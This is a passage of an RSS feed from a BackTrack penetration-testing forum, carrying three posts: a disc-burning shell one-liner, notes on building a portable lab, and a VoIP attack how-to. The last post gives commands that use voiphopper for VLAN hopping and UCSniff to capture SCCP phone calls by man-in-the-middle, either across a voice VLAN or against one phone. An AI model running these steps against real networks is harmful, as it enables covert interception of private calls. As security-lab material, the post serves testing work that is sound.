</div>I've looked through the manual for mkisofs already though and haven't found anything yet.<br />
<br />
After 2 days of investigating I finally got to the bottom of it :rolleyes:<br />
<br />
mkisofs has a command line option &quot;-print-size&quot; that will tell you the size of the ISO it <b><i>would</i></b> have created.<br />
<br />
So here's how you quickly burn a folder to disc:<br />
<br />
<div style="margin:20px; margin-top:5px">
	<div class="smallfont" style="margin-bottom:2px">Code:</div>
	<hr /><code style="margin:0px" dir="ltr" style="text-align:left">mkisofs -fRrlJ -A <font color="Red"><b>Disc_Volume_Label</b></font> <font color="Red"><b>Name_Of_Folder</b></font> | sudo cdrecord tsize=`mkisofs -quiet -print-size -fRrlJ -A <font color="Red"><b>Disc_Volume_Lable Name_Of_Folder</b></font>` dev=/dev/hda -</code><hr />
</div>You could make a script out of it as follows:<br />
<br />
<div style="margin:20px; margin-top:5px">
	<div class="smallfont" style="margin-bottom:2px">Code:</div>
	<hr /><code style="margin:0px" dir="ltr" style="text-align:left">mkisofs -fRrlJ -A $1 $1 | sudo cdrecord tsize=`mkisofs -quiet -print-size -fRrlJ -A $1 $1` dev=/dev/hda -</code><hr />
</div>And then run the script as:<br />
<br />
<div style="margin:20px; margin-top:5px">
	<div class="smallfont" style="margin-bottom:2px">Code:</div>
	<hr /><code style="margin:0px" dir="ltr" style="text-align:left">burnfolder.sh <font color="Red"><b>Name_Of_Folder</b></font></code><hr />
</div>Now if you're lucky, this command won't just freeze your command line indefinitely and sit there doing nothing... like it does on my computer... f*** sake. It turns out that since I switched from the buggy cdrtools to the stable cdrtools, it won't burn anything to disc for me anymore even if I try to burn a simple ISO file to disc. Even if I do &quot;cdrecord -scanbus&quot;, it just freezes and does nothing :mad: Another thing to troubleshoot.</div>

]]></content:encoded>
			<category domain="http://forums.remote-exploit.org/backtrack-4-howto/">BackTrack 4 Howto</category>
			<dc:creator>Virchanza</dc:creator>
			<guid isPermaLink="true">http://forums.remote-exploit.org/backtrack-4-howto/27978-command-line-fun-quickly-burn-folder-disc.html</guid>
		</item>
		<item>
			<title>Building a portable lab</title>
			<link>http://forums.remote-exploit.org/backtrack-4-howto/27947-building-portable-lab.html</link>
			<pubDate>Thu, 22 Oct 2009 11:10:29 GMT</pubDate>
			<description>The goal: installation of BT4 pre-release on an external USB disk to create a portable lab environment with vmware. 
The first step was to install...</description>
			<content:encoded><![CDATA[<div>The goal: installation of BT4 pre-release on an external USB disk to create a portable lab environment with vmware.<br />
The first step was to install BT4 on a USB disk. I booted on a DVD than used ubiquity to install BT on the HD. To prevent ubiquity to modify my MBR, I run this inside a vmware without disk!<br />
Than I updated the kernel, installed vmware player and the nvidia drivers. I have to confess that despite all information on the forum I could not install vmware with the latest kernel. I had to roll back and everything works like a charm.<br />
Another issue I found: I put all my virtual machines on a ntfs partition on my external disk. Bad idea: when having large files the ntfs process is eating all CPU. I put it on an ext3 and kept only a few gb for data exchange with other OSes.<br />
<br />
I also found that when using KDE to delete files they are transfered into the trash but BT4 does not offer an interface to empty the trash. 2 solutions: you can modify Konqueror using the settings menu to delete instead or moving to trash or you can add a &quot;link to Location(URL)&quot; in the desktop and make it pointing to trash:/<br />
<br />
A very convenient feature is to be able to mount the different partitions of the USB disk automatically in fstab using UUID. That works great. You can find the UUID of your drive running &quot;blkid&quot;.<br />
<br />
Now I can run my lab environment whatever the hardware I have.<br />
<br />
Hope this help someone...</div>

]]></content:encoded>
			<category domain="http://forums.remote-exploit.org/backtrack-4-howto/">BackTrack 4 Howto</category>
			<dc:creator>mno@8</dc:creator>
			<guid isPermaLink="true">http://forums.remote-exploit.org/backtrack-4-howto/27947-building-portable-lab.html</guid>
		</item>
		<item>
			<title>BT4 + EEE 701 + VLAN Hopping + UCSniff 3.0</title>
			<link>http://forums.remote-exploit.org/backtrack-4-howto/27942-bt4-eee-701-vlan-hopping-ucsniff-3-0-a.html</link>
			<pubDate>Thu, 22 Oct 2009 07:14:18 GMT</pubDate>
			<description>Hey guys, 
 
First time posting here. 
 
UCSniff 3.0 was released today, ahead of schedule. I had been hanging out for this for the --garpdb option...</description>
			<content:encoded><![CDATA[<div>Hey guys,<br />
<br />
First time posting here.<br />
<br />
UCSniff 3.0 was released today, ahead of schedule. I had been hanging out for this for the --garpdb option to disable GARP when sniffing Cisco SCCP packets.<br />
<br />
I have written up a small how-to using voiphopper + ucsniff on my EEE 701. I have written this on my blog (nothing fancy), hope its ok to link here.<br />
<br />
<a href="http://ecks90.com/?id=51" target="_blank">x90 Blog</a><br />
<br />
Thanks.<br />
<br />
//edit full howto<br />
<br />
<b>Create persistent BT4 on USB</b><br />
Followed the directions outlined here:<br />
<ul><li><a href="http://www.infosecramblings.com/backtrack/backtrack-4-usbpersistent-changesnessus/" target="_blank">Backtrack 4 &#8211; USB/Persistent Changes/Nessus | Infosec Ramblings</a></li>
</ul><br />
<b>VLAN Support + VLAN Hopping</b><br />
Firstly modprobe to enable VLAN tagging in the environment<br />
<br />
<div style="margin:20px; margin-top:5px">
	<div class="smallfont" style="margin-bottom:2px">Code:</div>
	<hr /><code style="margin:0px" dir="ltr" style="text-align:left">modprobe 8021q</code><hr />
</div>Connect to a cisco switchport with a similar switch config<br />
<br />
<div style="margin:20px; margin-top:5px">
	<div class="smallfont" style="margin-bottom:2px">Code:</div>
	<hr /><code style="margin:0px" dir="ltr" style="text-align:left">switchport mode access<br />
switchport access vlan 10<br />
switchport voice vlan 20</code><hr />
</div>Try VLAN hopping with voiphopper<br />
<br />
<div style="margin:20px; margin-top:5px">
	<div class="smallfont" style="margin-bottom:2px">Code:</div>
	<hr /><code style="margin:0px" dir="ltr" style="text-align:left">voiphopper -i eth0 -c 0</code><hr />
</div><b>Download and compile UCSniff 3.0</b><br />
Download UCSniff here:<br />
<ul><li><a href="http://ucsniff.sourceforge.net/" target="_blank">UCSniff IP Video Sniffer</a></li>
</ul><br />
Compiling<br />
<br />
<div style="margin:20px; margin-top:5px">
	<div class="smallfont" style="margin-bottom:2px">Code:</div>
	<hr /><code style="margin:0px" dir="ltr" style="text-align:left">tar zxvf ucsniff-3.01.tar.gz<br />
cd ucsniff-3.01<br />
./configure<br />
make<br />
make install</code><hr />
</div><b>MiTM SCCP</b><br />
To record all SCCP conversations on the voice VLAN<br />
<br />
<div style="margin:20px; margin-top:5px">
	<div class="smallfont" style="margin-bottom:2px">Code:</div>
	<hr /><code style="margin:0px" dir="ltr" style="text-align:left">ucsniff -i eth0.20 --garpdb // //</code><hr />
</div>Or to target a particular IP phone, without enumerating the targets on the voice VLAN first<br />
<br />
<div style="margin:20px; margin-top:5px">
	<div class="smallfont" style="margin-bottom:2px">Code:</div>
	<hr /><code style="margin:0px" dir="ltr" style="text-align:left">ucsniff -i eth0.20 --garpdb /XXXX.XXXX.XXXX.XXXX/ //</code><hr />
</div>Finally play back the file from the commandline<br />
<br />
<div style="margin:20px; margin-top:5px">
	<div class="smallfont" style="margin-bottom:2px">Code:</div>
	<hr /><code style="margin:0px" dir="ltr" style="text-align:left">play filename.mp3</code><hr />
</div></div>

]]></content:encoded>
			<category domain="http://forums.remote-exploit.org/backtrack-4-howto/">BackTrack 4 Howto</category>
			<dc:creator>ecks90</dc:creator>
			<guid isPermaLink="true">http://forums.remote-exploit.org/backtrack-4-howto/27942-bt4-eee-701-vlan-hopping-ucsniff-3-0-a.html</guid>
		</item>
	</channel>
</rss>
